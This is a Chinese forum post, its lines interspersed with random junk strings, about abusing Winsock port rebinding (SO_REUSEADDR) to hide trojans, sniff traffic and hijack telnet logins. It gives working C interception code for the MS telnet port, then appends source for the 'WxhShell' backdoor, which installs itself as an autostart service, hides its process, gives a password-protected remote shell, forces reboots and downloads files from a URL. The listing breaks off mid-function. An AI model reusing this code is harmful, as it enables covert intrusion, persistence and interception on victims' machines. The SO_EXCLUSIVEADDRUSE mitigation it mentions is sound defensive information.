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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 3: 'eZ cM  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ab5 a>w6}  
XjL)WgQ{i  
  saddr.sin_family = AF_INET; dBKL_'@@}  
KErQCBeJ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); {;6Yi!  
:d v{'O  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); d7.}=E.L  
^u@"L  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 {2EIvKu3:  
)a ov]Ns  
  这意味着什么?意味着可以进行如下的攻击: bhqBFiuhH  
|kPjjVGF{  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 '% .:97  
N^\<y7x  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ,Q8[Ur? G  
|'B-^?;  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 hSQuML   
#)&kF+  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  {k4)f ad\  
?6;9r[ p  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 W_:3Sj l'  
i^9,.$<1  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 WZ\bm$  
),ur! v  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 LO8`qq*rq  
SJg4P4|  
  #include V(hM@ztN  
  #include F7!g+LPc<  
  #include ,Jm2|WKH  
  #include    jlvh'y`  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ' U]\]Wp  
  int main() x3j)'`=15  
  { J:<mq5[  
  WORD wVersionRequested; .E H&GX  
  DWORD ret; 3 q1LIM  
  WSADATA wsaData; 6'YT3=  
  BOOL val; 37OU  
  SOCKADDR_IN saddr; }H^h ~E  
  SOCKADDR_IN scaddr; #|<\q*<  
  int err; ME.l{?v  
  SOCKET s; kj_MzgC'?  
  SOCKET sc;  .dA_}  
  int caddsize; ~m:oJ+:O  
  HANDLE mt; (}Q(Ux@X  
  DWORD tid;   >KPxksFR8  
  wVersionRequested = MAKEWORD( 2, 2 ); g=)B+SY'  
  err = WSAStartup( wVersionRequested, &wsaData ); %b 8ig1  
  if ( err != 0 ) { -BQoNEh  
  printf("error!WSAStartup failed!\n"); Rcg q7W  
  return -1; [{iPosQWj  
  } w ]8+ OP  
  saddr.sin_family = AF_INET; oT7 6)O  
   uX82q.u_y  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 63'Rw'g^|2  
dY=]ES} `  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); lZ5LHUzP  
  saddr.sin_port = htons(23); k }amSsE  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) f4%Z~3P  
  { JXFPN|  
  printf("error!socket failed!\n"); >A5*=@7bY?  
  return -1; 0R2KI,WI  
  } |/^ KFY"  
  val = TRUE; S2y_5XJ<D  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 tx` Z?K[  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) w)C/EHF  
  { JRti2Mu  
  printf("error!setsockopt failed!\n"); R[#Np`z  
  return -1; z) :LF<  
  } b/[$bZD5o  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; v2w|?26Lf  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 O0Z !*Hy  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ^/6LVB*  
1zNh& "  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 6zbqv6  
  { {lam],#r  
  ret=GetLastError(); {ef9ov Xk  
  printf("error!bind failed!\n"); KgD sqwy  
  return -1; 0tz7^:|D  
  } ^(+ X|t  
  listen(s,2); `T'[H/  
  while(1) U/}("i![Dy  
  { V ,+&.A23  
  caddsize = sizeof(scaddr); >H r&F nh+  
  //接受连接请求 ~ 3!yd0 [k  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); @\*`rl]  
  if(sc!=INVALID_SOCKET) .ZOG,h+8  
  { WswM5RN  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Y0z)5),[U:  
  if(mt==NULL) 8SZZ_tS3r  
  { hkpS}*L9o  
  printf("Thread Creat Failed!\n"); 8}M-b6R V  
  break; MnL o{G]  
  } fA$2jbGW  
  } ltWEA  
  CloseHandle(mt); 3<XP/c";  
  } b6%[?k  
  closesocket(s); vRhI:E)So#  
  WSACleanup(); eoj(zY3  
  return 0; D6I-:{ws  
  }   O*SJx.  
  DWORD WINAPI ClientThread(LPVOID lpParam) FOyANN'  
  { R$Rub/b6  
  SOCKET ss = (SOCKET)lpParam; ;No i H&  
  SOCKET sc; + *W%4e  
  unsigned char buf[4096]; MZrLLnl6\  
  SOCKADDR_IN saddr; y&n-8L_  
  long num; */_$' /q V  
  DWORD val; `w8Ejm?n  
  DWORD ret; ?]%ZJd  
  //如果是隐藏端口应用的话,可以在此处加一些判断 i,h)V Cc  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   xe4`D>LUo  
  saddr.sin_family = AF_INET; 9^?2{aP%  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); SuR+Vv  
  saddr.sin_port = htons(23); %!\iII  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +@^FUt=tq  
  { : uxJGx  
  printf("error!socket failed!\n"); (.J6>"K<  
  return -1; M!`&Z9N  
  } +xL' LC x  
  val = 100; u<U8LR=)V5  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !#Pr'm/,mu  
  { Cl8S_Bz  
  ret = GetLastError(); o$p] p9  
  return -1; og?L 9  
  } *b4W+E  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) IKrojK8-?  
  { Y1wH_!%b  
  ret = GetLastError(); u0Bz]Ux/Q  
  return -1; pzT,fmfk  
  } K_Pbzj4(P  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) csFLBP  
  { %N #A1   
  printf("error!socket connect failed!\n"); 7](aPm8  
  closesocket(sc); :IX_|8e ^  
  closesocket(ss); ms&6N']  
  return -1; r0Zj'F_e  
  } C14"lB.  
  while(1) HGao}@'  
  { /[qLf:rGI  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 {,=U]^A  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 2Rqpok4  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Ofc u4pi  
  num = recv(ss,buf,4096,0); $ba*=/{[q  
  if(num>0) 782 oXyD  
  send(sc,buf,num,0); #[&9~za'"m  
  else if(num==0) (GoxiX l  
  break; kr\#CW0?  
  num = recv(sc,buf,4096,0); Bdcs}Ga  
  if(num>0) Q5&|1m Pb  
  send(ss,buf,num,0); ctoh&5%!n+  
  else if(num==0) Ub{7Xk n  
  break; |fB/hs \  
  } l h?[wc  
  closesocket(ss); 6`@6k2]  
  closesocket(sc); 5FVmk5z]d  
  return 0 ; q%/\  
  } 8]i7 wq#=  
m f\tMik<  
nKmf#  
========================================================== '=+gwe M  
M4n0GWHLy  
下边附上一个代码,,WXhSHELL gg.lajX  
U]&/F{3 im  
========================================================== <M,<|Y*)  
?L|Ai\|  
#include "stdafx.h" 0Q~\1D 9g  
X"V)oC  
#include <stdio.h> Gs>4/  
#include <string.h> !<<wI'8  
#include <windows.h> Jsa;pG=3&  
#include <winsock2.h> ,*sKr)9)  
#include <winsvc.h> ' ,1[rWyc  
#include <urlmon.h> _4 YT2k  
Qoa&]]  
#pragma comment (lib, "Ws2_32.lib") /&E]qc*-p  
#pragma comment (lib, "urlmon.lib") Uuktq)NU  
I%jlM0ZUI"  
#define MAX_USER   100 // 最大客户端连接数 pQ xv_4  
#define BUF_SOCK   200 // sock buffer Ml,in49  
#define KEY_BUFF   255 // 输入 buffer iX6*OEl/Q  
jItVAmC=i  
#define REBOOT     0   // 重启 ;D<;pW  
#define SHUTDOWN   1   // 关机 N>iNz[a q  
jFl!<ooCo  
#define DEF_PORT   5000 // 监听端口 T3Sz<K$E  
$k+XH+1CW  
#define REG_LEN     16   // 注册表键长度 qN^]`M[ BY  
#define SVC_LEN     80   // NT服务名长度 zhe~kI  
!Ld[`d.|R!  
// 从dll定义API },;Z<(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); HOrXxxp1^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); n0)y|B#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); y,6KU$G  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }((P)\s  
~"Su2{"8B  
// wxhshell配置信息 {Q)sR*d  
struct WSCFG { W!|l_/L'   
  int ws_port;         // 监听端口 LlD=c  
  char ws_passstr[REG_LEN]; // 口令 (ylZ[M&B:  
  int ws_autoins;       // 安装标记, 1=yes 0=no iM$iZ;Tp  
  char ws_regname[REG_LEN]; // 注册表键名 +fHqGZ]  
  char ws_svcname[REG_LEN]; // 服务名 4YXp,U  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 mln%Rd6u/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Qnx?5R-}ZU  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 xiVbVr#[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;<=z^1X9  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1I%niQv5t  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 L+lX$k  
HP=5 a.  
}; YXg^t$  
!{!(yP_  
// default Wxhshell configuration ?z3|^oU~d  
struct WSCFG wscfg={DEF_PORT, U^Iq]L  
    "xuhuanlingzhe", Y2|c;1~5$  
    1, sfp.>bMj  
    "Wxhshell", QrLXAK\5  
    "Wxhshell", pS8`OBenA  
            "WxhShell Service", @>F`;'_*z  
    "Wrsky Windows CmdShell Service", L?(m5u~b  
    "Please Input Your Password: ", E?jb?  
  1, M (:_(4~  
  "http://www.wrsky.com/wxhshell.exe", AgWG4C=  
  "Wxhshell.exe" t'DIKug&  
    }; ?{~. }Vn  
p3B_NsXVZ  
// 消息定义模块 Uo JMOw[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; PI)uBA;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %htbEKWR  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; zX8{(  
char *msg_ws_ext="\n\rExit."; +WvW#wpH  
char *msg_ws_end="\n\rQuit."; %1M!4**W  
char *msg_ws_boot="\n\rReboot..."; 7U - ?Rd  
char *msg_ws_poff="\n\rShutdown..."; 3 =_to7]  
char *msg_ws_down="\n\rSave to "; [bEm D  
0C717  
char *msg_ws_err="\n\rErr!"; rUmnv%qTS  
char *msg_ws_ok="\n\rOK!"; ^ lG^.  
_:Ov-HIR  
char ExeFile[MAX_PATH]; 0Hr)h{!F"  
int nUser = 0; Oe0dC9H  
HANDLE handles[MAX_USER]; (Li)@Cn%  
int OsIsNt; UO' X"`  
zTze %  
SERVICE_STATUS       serviceStatus; {/XU[rn  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7mYBxE/  
/?C6 oj1  
// 函数声明 ~{D:vj4>  
int Install(void); o2^?D`Jr  
int Uninstall(void); tp b(.`G  
int DownloadFile(char *sURL, SOCKET wsh); c#pVN](?  
int Boot(int flag); gWy2E;"a  
void HideProc(void); [jF\"#A  
int GetOsVer(void); $I a-go2W  
int Wxhshell(SOCKET wsl); ^Y^5 @ x=  
void TalkWithClient(void *cs); NmV][0(BS  
int CmdShell(SOCKET sock); S4%MnT6Uy  
int StartFromService(void); )Ju$PrO  
int StartWxhshell(LPSTR lpCmdLine); [,qb) &_  
DO? bJ01  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =e]Wt/AQ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]K%D$x{+\  
Ay\!ohIS3  
// 数据结构和表定义 Mp^U)S+  
SERVICE_TABLE_ENTRY DispatchTable[] = nHB`<B  
{ "#`c\JuR ]  
{wscfg.ws_svcname, NTServiceMain}, C5oIl_t  
{NULL, NULL} :w4I+* ]  
}; z|G 39  
.w)T2(  
// 自我安装 Jm}zit:o  
int Install(void) CYC6:g|)  
{ Ox f,2r  
  char svExeFile[MAX_PATH]; qzu%Pp6If  
  HKEY key; }u'O<d~z?  
  strcpy(svExeFile,ExeFile); Uf-`g>  
^i~'aq  
// 如果是win9x系统,修改注册表设为自启动 (9D,Ukw  
if(!OsIsNt) { 3yIC@>&y(8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cWL 7gv\|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {%z}CTf#  
  RegCloseKey(key); hH@pA:`s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bq` 0$c%hN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h>K%Ox R  
  RegCloseKey(key); .e2 K\o  
  return 0; Jx= v6==7  
    } h2edA#bub  
  } 6b#J!:?  
} 610hw376B  
else { oNBYJ]t  
Gex%~';+q  
// 如果是NT以上系统,安装为系统服务 ( j~trpe,  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ]6EXaf#  
if (schSCManager!=0) 5>[ j^g+@  
{ >a1 ovKF  
  SC_HANDLE schService = CreateService g,cl|]/\d  
  ( h3:dO|Z  
  schSCManager, |CjE }5Op>  
  wscfg.ws_svcname,  W,)qE^+  
  wscfg.ws_svcdisp, dKTUW<C  
  SERVICE_ALL_ACCESS, p uLQ_MNV  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;/-#oW@gQ  
  SERVICE_AUTO_START, `F1 ( v  
  SERVICE_ERROR_NORMAL, ;u: }rA)  
  svExeFile, iG;GAw|E  
  NULL, Xa32p_|5~  
  NULL, j!<RY>u  
  NULL, ^aO\WKkA  
  NULL, sp$W=Wu7  
  NULL GPnSdGLC  
  ); FzGla})  
  if (schService!=0) ,b8q$ R~\  
  { tvG/oe .1'  
  CloseServiceHandle(schService); FqK2[]8  
  CloseServiceHandle(schSCManager); ZX!u\O|w  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); L`{EXn[  
  strcat(svExeFile,wscfg.ws_svcname); &O.S ;b*+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { v><uHjP  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); o\YF_235  
  RegCloseKey(key); nANoy6z:  
  return 0; gRdg3qvU  
    } h47l;`kD-#  
  } #0j,1NpL  
  CloseServiceHandle(schSCManager); ROHr%'owgL  
} ,4%'~8'3  
} yjP;o`z%  
MM%c   
return 1; nf MQ3K P  
} 1JoRP~mMxa  
#5x[Z[m  
// 自我卸载 ` `R;x  
int Uninstall(void) Kr]`.@/.S  
{ 0BTLIV$d;  
  HKEY key; 5:H9B  
*xOrt)D=  
if(!OsIsNt) { DHV#PLbN$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T9+ ?A l  
  RegDeleteValue(key,wscfg.ws_regname); +}@HtjM  
  RegCloseKey(key); [UHDN:y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { cHMS[.=;  
  RegDeleteValue(key,wscfg.ws_regname); Y+tXWN"8  
  RegCloseKey(key); Y@Kp'+t(!  
  return 0; m ,U`hPJ  
  } z_p/.kQ'5  
} *tda_B 2  
} |0mVK`  
else { 8vcV-+x  
/IC7q?avQN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); l&4TfzkY  
if (schSCManager!=0) &@xixbg  
{ U/oncC5  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 4yH=dl4=44  
  if (schService!=0) |mfQmFF  
  { "3v[\M3  
  if(DeleteService(schService)!=0) {  98os4}r  
  CloseServiceHandle(schService); y3K9rf  
  CloseServiceHandle(schSCManager); MD ,}-m  
  return 0; M"]~}*  
  }  mq?5|`  
  CloseServiceHandle(schService); RYaf{i`  
  } 8JUUK(&Z  
  CloseServiceHandle(schSCManager); V(Ps6jR"BS  
} rQbL86+  
} g(Jzu'  
v 6?{g  
return 1; !z;a>[T'  
} sgo({zA`i  
'Z+~G  
// 从指定url下载文件 z2&SZ.mk  
int DownloadFile(char *sURL, SOCKET wsh) +?~'K&@  
{ u4=j!Zb8}  
  HRESULT hr; |wZ8O}O{E  
char seps[]= "/"; ]iuM2]  
char *token; g`!:7|&,_  
char *file; Z2WAVSw  
char myURL[MAX_PATH]; hp}J_/+4n  
char myFILE[MAX_PATH]; M? oK@i  
/)xG%J7H  
strcpy(myURL,sURL); W$0<a@  
  token=strtok(myURL,seps); fi%u]  
  while(token!=NULL) j3rBEQ,R  
  { o)7gKWjujP  
    file=token; -tSWYp{  
  token=strtok(NULL,seps); (KHTgZ6  
  } 9/MUzt  
`av8|;  
GetCurrentDirectory(MAX_PATH,myFILE); 8ltHR]v  
strcat(myFILE, "\\"); IBWUeB:b  
strcat(myFILE, file); "2X=i`rTi  
  send(wsh,myFILE,strlen(myFILE),0); jBV2]..  
send(wsh,"...",3,0); uRQm.8b  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); u7&r'rZ1_!  
  if(hr==S_OK) U6 "U^  
return 0; c@:r\]  
else LF0gy3  
return 1; sD.bBz  
I-i)D  
} })Rmu."\  
Roy0?6O  
// 系统电源模块 O k_I}X  
int Boot(int flag) uYS?# g  
{ \@Gyl_6^  
  HANDLE hToken; UHz*Tfjb  
  TOKEN_PRIVILEGES tkp; . x~tEe  
#JGy2Hk$^  
  if(OsIsNt) { W?G4\ubM3<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }.7!@!q.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0%}$@H5i  
    tkp.PrivilegeCount = 1; _n2PoE:5@P  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @<\f[Znto  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Y2j>lf?8  
if(flag==REBOOT) { <oPo?r|oM|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) n6[bF "v  
  return 0; r^ &{0c&o  
} 46*o_A,"  
else { Ywt_h;:  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 8UoMOeI3  
  return 0; cn=~}T@~Z  
} XZA3T Z  
  } fSl+;|K n  
  else { >\8Bu#&s4  
if(flag==REBOOT) { tuK"}HepB  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =R!=uml(  
  return 0; +M (\R?@gr  
} Fm{Ri=X<:  
else { <dDGV>n4;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) } O9q$-8!  
  return 0; OibW8A4Z1  
} , Z#t-?  
} \*!?\Ko`W  
hyL3fkMJ,  
return 1; {.z2n>1J{T  
} AShJt xxa  
tz&=v,_jc  
// win9x进程隐藏模块 \^?BC;s^C  
void HideProc(void) }?#<)|_5  
{ 9IMtqL&  
0kpRvdEr-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?)7uwJsH  
  if ( hKernel != NULL ) RP7e)?5$s  
  { /+P 4cHv]F  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @h X  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); vyERt^z  
    FreeLibrary(hKernel); d37l/I  
  } T%KZV/  
U#+S9jWe  
return; E$34myOVf  
} iquB]z'  
"a-Ex ]  
// 获取操作系统版本 7s,IT8ii  
int GetOsVer(void) t'_Hp},  
{ AGn:I??  
  OSVERSIONINFO winfo; LCRreIIgZ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @W=#gRqQPy  
  GetVersionEx(&winfo); sZPPS&KoP3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) A"\kdxC  
  return 1; 4t|g G`QW7  
  else Vur$t^zE  
  return 0; ,`G8U/  
} VCcLS3  
i15uHl  
// 客户端句柄模块 7NMQUN7k '  
int Wxhshell(SOCKET wsl) 2K!3+D"  
{ #SQT!4  
  SOCKET wsh; 4s^5t6  
  struct sockaddr_in client; X(?.*m@+TB  
  DWORD myID; d[w'j/{  
B1JdkL 3h  
  while(nUser<MAX_USER) 0lF.!\9  
{ 5 r"`c  
  int nSize=sizeof(client); 0MF[e3)a  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .Hl]xI$;+  
  if(wsh==INVALID_SOCKET) return 1; -B9C2  
mgL~ $  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R?(0:f  
if(handles[nUser]==0) (i1FMd}G  
  closesocket(wsh); 1@P/h#_Vr  
else k)b}"' I  
  nUser++; c#$B;?  
  } 05LVfgJ'q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >1,.4)k%K  
XN5EZ#  
  return 0; ?&_ -,\t  
} CK 3]]{  
EJ.oq*W!*J  
// 关闭 socket rF2`4j&!  
void CloseIt(SOCKET wsh) Ps+0qqT*  
{ tjBs>w  
closesocket(wsh); rC14X}X6  
nUser--; \$/)o1SG  
ExitThread(0); x:88E78  
} 7;#9\a:R?  
{x W? v;  
// 客户端请求句柄 Q$Ga.fI  
void TalkWithClient(void *cs) JWr:/?  
{ bA@!0,m  
tU >wRw=d  
  SOCKET wsh=(SOCKET)cs; G6w&C^J*8>  
  char pwd[SVC_LEN]; f/~"_O%  
  char cmd[KEY_BUFF]; YxlV2hcX;  
char chr[1]; EQSOEf[  
int i,j; ,@tkL!"9q  
5:Pp62  
  while (nUser < MAX_USER) { <h4"^9hL  
$]%;u: Sa  
if(wscfg.ws_passstr) { /WRS6n  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @ JZ I  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?FVX &{{V  
  //ZeroMemory(pwd,KEY_BUFF); w>p0ldi  
      i=0; @v ss:'l  
  while(i<SVC_LEN) { \6-x~%xK  
}tF/ca:XPQ  
  // 设置超时 -GD_xk  
  fd_set FdRead; "yCCei,hA?  
  struct timeval TimeOut; NEa :  
  FD_ZERO(&FdRead); &W-L`aFd0  
  FD_SET(wsh,&FdRead); wOOBW0tj  
  TimeOut.tv_sec=8; dQYb)4ir  
  TimeOut.tv_usec=0; ^ ~:f02[D  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Gi~p-OS,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); S(.AE@U  
 iE=Yh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =<e|<EwSZ  
  pwd=chr[0]; i6?,2\K  
  if(chr[0]==0xd || chr[0]==0xa) { X|q&0W=  
  pwd=0; rIH/<@+  
  break; 'C8VD+p  
  } "=@b>d6U+  
  i++; ;n%SjQ'%  
    } 8>x!n/z)  
'3 w=D )  
  // 如果是非法用户,关闭 socket "^F#oo%L  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); NeAkJG=<  
} j2c -01}  
S_/9eI~X  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <`i " 5`J  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 15+>W4v  
|!E>I  
while(1) { ?:vp3f#  
9un]}7^  
  ZeroMemory(cmd,KEY_BUFF); z}.y ?#  
j5,1`7\7B  
      // 自动支持客户端 telnet标准   Umjt~K^Z  
  j=0; 0vuL(W8)  
  while(j<KEY_BUFF) { f.JZ[+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); mE'y$5ZxY  
  cmd[j]=chr[0]; ye:pGa w  
  if(chr[0]==0xa || chr[0]==0xd) { /x,gdZPX  
  cmd[j]=0; e:fp8 k<  
  break; 91qk0z`N  
  } Ef{rY|E  
  j++; @wy|l)%  
    } {e\Pd!D?|  
lPx4=O  
  // 下载文件 /ts=DxCC;  
  if(strstr(cmd,"http://")) { 11[[Hk X@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); reR><p  
  if(DownloadFile(cmd,wsh)) v".q578 0B  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); fftFNHP  
  else JQ=i{9iJ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _x&;Fa%  
  } gD10C,{  
  else { {a^A-Xh[u  
0B fqEAl  
    switch(cmd[0]) { o(w!x!["  
  k4fc 5P  
  // 帮助 n|2`y?  
  case '?': { Z>gxECi  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `bT!_Ru  
    break; Wt4ROj  
  } Gdmh#pv  
  // 安装 T6m#sVq  
  case 'i': { C~4_Vc*  
    if(Install()) JBfDz0P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mR@|]T  
    else vw5f.8T;w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z:DEET!c'k  
    break; RO[Ko-m|/N  
    } J ^gtSn^  
  // 卸载 HM57b>6  
  case 'r': { 1+6:K._C(m  
    if(Uninstall()) JTK>[|c9oE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %E#OUo[y/  
    else #<0Yx9Jh.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,Tc3koi  
    break; 5OeTOI()&5  
    } )]WWx-Uf'  
  // 显示 wxhshell 所在路径 5I/wP qR[  
  case 'p': { nfpkWyIu{  
    char svExeFile[MAX_PATH]; `q|&;wP.  
    strcpy(svExeFile,"\n\r"); mAMi-9  
      strcat(svExeFile,ExeFile); **_`AM~  
        send(wsh,svExeFile,strlen(svExeFile),0); D,q=?~  
    break; g?` g+:nug  
    } .w2QiJ  
  // 重启 i)9}+M 5  
  case 'b': { BC*vG=a  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _nu,ks+  
    if(Boot(REBOOT)) Tlrr02>B{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IN=pki |.  
    else { VH[r@Pn  
    closesocket(wsh); BCsz8U!  
    ExitThread(0); MJNY#v3  
    } d]1%/$v^  
    break; 2{;&c  
